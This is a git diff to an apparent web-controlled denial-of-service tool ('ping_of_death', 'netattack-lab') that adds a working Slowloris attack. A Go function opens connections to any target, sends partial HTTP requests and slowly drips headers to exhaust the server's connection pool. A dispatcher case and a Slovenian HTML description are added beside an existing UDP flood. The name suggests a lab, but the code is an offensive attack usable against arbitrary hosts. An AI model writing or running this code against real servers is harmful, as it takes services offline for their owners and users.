diff --git a/ping_of_death/dist/netattack-lab b/ping_of_death/dist/netattack-lab index 526b25c..2609c0e 100755 Binary files a/ping_of_death/dist/netattack-lab and b/ping_of_death/dist/netattack-lab differ diff --git a/ping_of_death/main.go b/ping_of_death/main.go index a119ff2..54183db 100644 --- a/ping_of_death/main.go +++ b/ping_of_death/main.go @@ -278,6 +278,12 @@ func runAttack(ctx context.Context, session *AttackSession) { } else { atomic.AddInt32(&session.Failed, 1) } + case "slowloris": + if err := sendSlowloris(session.Target); err == nil { + atomic.AddInt32(&session.Success, 1) + } else { + atomic.AddInt32(&session.Failed, 1) + } } }() } @@ -316,6 +322,43 @@ func sendUDP(target string) error { return err } +func sendSlowloris(target string) error { + // Slowloris attack: Send partial HTTP requests to exhaust connection pool + conn, err := net.Dial("tcp", target+":80") + if err != nil { + return err + } + + // Send partial HTTP request + _, err = conn.Write([]byte("GET / HTTP/1.1\r\nHost: " + target + "\r\n")) + if err != nil { + conn.Close() + return err + } + + // Keep connection open for extended period (simulate slow client) + go func() { + ticker := time.NewTicker(10 * time.Second) + defer ticker.Stop() + defer conn.Close() + + // Send additional headers slowly to keep connection alive + for i := 0; i < 6; i++ { // Keep alive for 60 seconds + select { + case <-ticker.C: + _, err := conn.Write([]byte(fmt.Sprintf("X-Custom-Header-%d: value\r\n", i))) + if err != nil { + return + } + } + } + // Finally close the request + conn.Write([]byte("\r\n")) + }() + + return nil +} + func statusHandler(w http.ResponseWriter, r *http.Request) { sessions := netTool.getAllSessions() diff --git a/ping_of_death/templates/index.html b/ping_of_death/templates/index.html index e265f6d..e002b87 100644 --- a/ping_of_death/templates/index.html +++ b/ping_of_death/templates/index.html @@ -95,6 +95,7 @@ + @@ -209,6 +210,9 @@

UDP Paketna Poplava

Preplavi cilj z UDP paketi na naključnih vratih, kar prisili cilj k obdelavi paketov in odgovori z ICMP nedosegljivimi sporočili.

+ +

Slowloris (Počasne Povezave)

+

Pošilja delne HTTP zahteve in jih drži odprte čim dlje časa, da izčrpa connection pool strežnika. Zelo učinkovit napad z majhno porabo pasovne širine.